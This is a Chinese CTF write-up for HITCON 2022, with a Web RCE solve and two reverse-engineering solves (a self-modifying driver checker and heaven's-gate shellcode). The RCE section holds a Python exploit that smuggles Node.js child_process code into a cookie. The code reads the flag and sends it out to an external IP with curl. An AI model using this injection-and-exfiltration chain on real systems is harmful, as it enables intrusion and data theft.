2022HITCON WriteUp by Mini-Venom(招新)

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱admin@chamd5.org(带上简历和想加入的小组)
Web
RCE
解题思路
import?requests
import?urllib.parse
import?re
from?multiprocessing.pool?import?ThreadPool
import?binascii
target_url?=?'http://24fhhiuetp.rce.chal.hitconctf.com'
REGEX?=?'(?<=s:).*?(?=\.)'
s?=?requests.session()
original_payloads?=?['global.a1??=?\'child\'',
????????????????????'a1?=?a1?+?\'_process\'',
????????????????????'global.b=require(a1)',
????????????????????'global.c1?=???????\'\''?,
????????????????????'c1=c1+\'cat?/flag-1e\'',
????????????????????'c1=c1+\'5657085ea974\'',
????????????????????'c1=c1+\'db77cdef03cc\'',
????????????????????'c1=c1+\'5753833fea16\'',
????????????????????'c1=c1+??????????\'68\'',
????????????????????'c1=c1+\'>1&curl?101.\'',
????????????????????'c1=c1+\'43.93.56????\'',
????????????????????'c1=??????c1+\'?-d?@1\'',
????????????????????'??????????b.exec(c1)']
hex_payloads?=?[i.encode("utf-8").hex()?for?i?in?original_payloads]
exploit_payloads?=?[]
def?init_attack():
????s.get(target_url)
???#??print(s.cookies.get("code"))
def?brute_force(payload):
????count?=?1
????tmp_cookie?=?s.cookies.get("code")
????while?True:
????????res?=?requests.get(target_url+'/random',cookies={'code':tmp_cookie},?proxies={'http':'127.0.0.1:8080'})
????????cookies?=?urllib.parse.unquote(res.cookies.get("code"))
????????cookies?=?''.join(re.findall(REGEX,?cookies))
????????tmp?=?payload[:count]
????????if(tmp==cookies):
????????????tmp_cookie?=?res.cookies.get("code")
????????????count?+=?1
????????????print(cookies)
????????elif?(count==len(payload)+1):
????????????break
????????else:
????????????continue
????exploit_payloads.append(?str(binascii.unhexlify(payload))?+?"?:?"?+?tmp_cookie)
????print(payload?+?"?:?"?+?tmp_cookie)
if?__name__?==?'__main__':
????init_attack()
????pool?=?ThreadPool(10)?
????pool.map(brute_force,?hex_payloads)??
????pool.close()??
????pool.join()??
????print(exploit_payloads)
Reverse
checker
解题思路
检查部分
switch?(?CurrentIrpStackLocation->Parameters.Read.ByteOffset.LowPart?)
??????{
????????case?0x222000u:
??????????sub_1400014D0(0);
??????????byte_140013190[0]?=?1;
??????????break;
????????case?0x222010u:
??????????sub_1400014D0(32u);
??????????byte_140013191?=?1;
??????????break;
????????case?0x222020u:
??????????sub_1400014D0(64u);
??????????byte_140013192?=?1;
??????????break;
????????case?0x222030u:
??????????sub_1400014D0(96u);
??????????byte_140013193?=?1;
??????????break;
????????case?0x222040u:
??????????sub_1400014D0(128u);
??????????byte_140013194?=?1;
??????????break;
????????case?0x222050u:
??????????sub_1400014D0(160u);
??????????byte_140013195?=?1;
??????????break;
????????case?0x222060u:
??????????sub_1400014D0(192u);
??????????byte_140013196?=?1;
??????????break;
????????case?0x222070u:
??????????sub_1400014D0(224u);
??????????byte_140013197?=?1;
??????????break;
????????case?0x222080u:
??????????if?(?!Length?)
????????????goto?LABEL_15;
??????????v7?=?1;
??????????v8?=?0i64;
??????????while?(?byte_140013190[v8]?)
??????????{
????????????if?(?++v8?>=?8?)
??????????????goto?LABEL_21;
??????????}
??????????v7?=?0;
LABEL_21:
??????????if?(?v7?)
??????????{
????????????v9?=?dword_140003000?-?0x63746968;
????????????if?(?dword_140003000?==?0x63746968?)
??????????????v9?=?(unsigned?__int16)word_140003004?-?0x6E6F;
????????????**(_BYTE?**)(a2?+?24)?=?v9?==?0;
??????????}
??????????else
??????????{
LABEL_15:
????????????**(_BYTE?**)(a2?+?24)?=?0;
??????????}
??????????break;
大概就是这些值都要过一遍,并且最后要和两个值相等(hitcon) 上面有个函数sub_1400014D0(0),里面进行了一些xor变换 然后看驱动入口,除了注册上面的major function外,还有如下
PhysicalAddress?=?MmGetPhysicalAddress((char?*)sub_140001490?+?0x1B70);//?0x140003000
??qword_140013170?=?(char?*)MmMapIoSpace(PhysicalAddress,?0x1000ui64,?MmNonCached);
??qword_140013178?=?(__int64)(qword_140013170?+?0x30);//?0x140003030
??v5?=?MmGetPhysicalAddress((char?*)sub_140001490?-?96);//?140001430
??qword_140013188?=?(char?*)MmMapIoSpace(v5,?0x1000ui64,?MmNonCached);
??qword_140013180?=?qword_140013188?+?0x700;????//?0x140001b30
可以发现,这里地址其中之一就是某个操作函数的地址,实际上就是自修改代码,必须输入正确的序列才能得到正确的代码
d_0x140001b30=b'\x80\xe9"\x80\xf1\xad\x0f\xb6\xc1k\xc8\x11\xb8\x9e\x00\x00\x00*\xc1\xc3'?#?xor_sub
d_0x140001430=b'@SH\x83\xec?H\x8b\x05;\x0c\x00\x00H\x8b\xdaH\x8bJ\x10H9\x08u7H\x8bJ\x08\xff\x15\x1d'
xor_d=b"\x19\xbc\x8f\x82\xd0,a4\xc0\x9f\xf6P\xd5\xfb\x0cn\xd0\xeb\xe5\xe3\xce\xb5L\xcaE\xaa\x11\xb2>bo}\xd0\xeb\xa9\xe3\xb2/\x06G|(\xc5\xde\xde\x1aN\xd6\xd8-\x93O\x82ed\xfd\x08bK\x87~RG0\xb7\xba\xd09hSP\xab?\xd5\xca\x84&qo\x91\x1b6F\x11\xa5\xf1NXlt\xd4\x9c\x15\xe2(\xd5\xd9\x0f=\x83\xf3\xfc\xd1\x13\x1ab\x12@\xaa\xea\xcd\xcb\xe1\xc6\x08\x81\x98\xf6h\x88\xbe#\xb5\x9eU\xb9\xe2}Z\xda9\x07\xf0.2?YVL\xb4\x8f>\x07a\xd9\x0f-a\xf1\x913\x14\xcbIh\xfe\x1f\xd4\x8a\xfe\xe1\xc6\x18c\x9a\x9b\x8a\x8a\x7f\x08\xc3\xe8\xe1\xec\x0b\x8f;\x00\x94\xa5\x11\xe7Gf\xc4\x9f\x98\x18p\xf00\xf6\x94q\xb1\x95\xd1\xf0o\xb7\xd9=\x05\x9e\xc1S3v\x9bKi\xca\xde\xfd}g\xb8)+\xc7\xc5\x84,\xd1\x87\x87\xf1\x98\x97t\xadK2\xf0JQr\xea\t\xf78\xfd'\xbd\x1cRqC\x95\x9c\x1a\x86\xf2\xc0\xf9\xf8"
c=b'c`\xa5\xb9\xff\xfc0\nH\xbb\xfe\xfe2,\n\xd6\xe6\xfe\xfe2,\n\xd6\xbbJJ2,\xfc\xff\n\xfd\xbb\xfe,\xb9c\xd6\xb9b\xd6\nO'
from?unicorn?import?*
import?unicorn.x86_const?as?uc
import?itertools?as?it
import?capstone?as?cp
def?xor_sub(a1):
????return?(-98?-?17?*?((a1?-?34)?^?0xAD)+0x100000000)&0xff
def?disasm(code):
????cs=cp.Cs(cp.CS_ARCH_X86,cp.CS_MODE_32)
????for?i?in?cs.disasm(code,0):
????????print(i)
def?exe(code,data,end=0x13):
????#?disasm(code)
????mu=Uc(UC_ARCH_X86,UC_MODE_64)
????base=0
????stack_addr=0X100000
????size=1024*1024
????mu.mem_map(base,size)
????mu.mem_map(stack_addr,size)
????mu.mem_write(base,code)
????mu.reg_write(uc.UC_X86_REG_RSP,stack_addr+size-1)
????mu.reg_write(uc.UC_X86_REG_RCX,data)
????mu.emu_start(base,base+end)
????r=mu.reg_read(uc.UC_X86_REG_RAX)
????return?r
def?check(seq):
????f=[i?for?i?in?c]
????code=[i?for?i?in?d_0x140001b30]
????for?i?in?range(32):
????????code[i%16]^=d_0x140001430[i]
????for?j,e?in?seq:
????????x=xor_d[j*32:j*32+32]
????????for?i?in?range(16):
????????????code[i]^=x[i]
????????for?i?in?range(len(f)):
????????????f[i]=exe(bytes(code),f[i],e)
????????for?i?in?range(16):
????????????code[i]^=x[i+16]
????print(bytes(f))
seq=[(7,0xd),(2,6),(6,0xd),(0,0x3),(1,0x3),(4,0xc),(3,0x9),(5,0xd)]?#?通过disasm不断尝试找到合法的指令和结束位置
check(seq)
Meow
解题思路
一眼天堂之门
dump出code后保存成单个二进制文件,使用IDA单独分析特征。一般这么多函数的肯定有公共特征
c=b"\x96P\xcf,\xeb\x9b\xaa\xfbS\xabs\xddl\x9e\xdb\xbc\xee\xab#\xd6\x16\xfd\xf1\xf0\xb9u\xc3(\xa2t}\xe3'\xd5\x95\\\xf5vu\xc9\x8c\xfbB\x0e\xbdQ\xa2\x98"
codes=b'j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xbag\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1/g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00Usage:?%s?<flag>\n\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xcdg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00Wrong?length\n\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xf6g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\x9fg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00Wrong\n\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xd0g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00I?know?you?know?the?flag!\n\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1"g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xf7g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xd0g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\x1fg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xa8g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1=g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xc7g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xa5g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1Gg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1hg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xd7g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1Jg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\x96g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\x91g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1.g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\x19g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xc5g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xe3g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\x88g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xbdg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1Ng\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\x93g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\x13g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xf1g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xccg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1Gg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xabg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\xc9g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1Hg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1+g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1\tg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1Pg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1Og\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xe9g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xc0g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1^g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xefg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\x8bg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\x85g\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00\x00\x00\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1\xcbg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6\x80\xbc\x00\x00\x00g\x8bL$\x1c\x83\xe0pg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g\x02\x0e\x80\xf1Ug\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbH1\xc0eH\x8b@`H\x0f\xb6@\x02g\x8bL$\x1cg\x89\x01\x85\xc0u\x18g\x8b|$\x04g\x8bt$\x0cg\x8bL$\x14g*\x0e\x80\xf1pg\x88\x0f\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3\x00\x00\x00\x00'
base=0x4031c0
head=b'\x6a\x33\xe8\x00\x00\x00\x00\x83\x04\x24\x05\xcb'
tail=bytes.fromhex("e800000000c7442404230000008304240dcbc3")
import?capstone?as?cp
def?disasm(code,p=True):
????cs=cp.Cs(cp.CS_ARCH_X86,cp.CS_MODE_64)
????if?p:
????????for?i?in?cs.disasm(code,0):
????????????print(i)
